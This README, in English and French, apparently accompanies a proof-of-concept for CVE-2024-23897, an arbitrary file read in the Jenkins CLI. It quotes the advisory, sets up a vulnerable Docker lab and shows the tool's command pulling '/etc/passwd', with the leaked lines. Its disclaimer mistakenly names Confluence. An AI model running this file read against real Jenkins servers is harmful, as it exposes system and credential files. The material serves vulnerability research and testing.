
This repository presents a proof-of-concept of CVE-2024-23897
Ce dépôt présente une preuve de concept de CVE-2024-23897 (Découvert par sonarsource)
Ce code est une preuve de concept de la vulnérabilité, je n'incite personne à l'utiliser sur des instances Confluence qu'ils ne possèdent pas.
Cet outil a été développé à des fins de recherche et d'éducation uniquement et je ne serai pas tenu responsable de l'usage que vous pourriez en faire.
Selon l'avis de sécurité Jenkins du 2024-01-24 : Jenkins utilise la bibliothèque args4j pour analyser les arguments et options de commande sur le contrôleur Jenkins lors du traitement des commandes CLI. Cet analyseur de commandes possède une fonctionnalité qui remplace un caractère @ suivi d'un chemin de fichier dans un argument par le contenu du fichier (expandAtFiles). Cette fonctionnalité est activée par défaut et Jenkins 2.441 et versions antérieures, LTS 2.426.2 et versions antérieures ne la désactivent pas. Cela permet aux attaquants de lire des fichiers arbitraires sur le système de fichiers du contrôleur Jenkins en utilisant l'encodage de caractères par défaut du processus du contrôleur Jenkins.
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)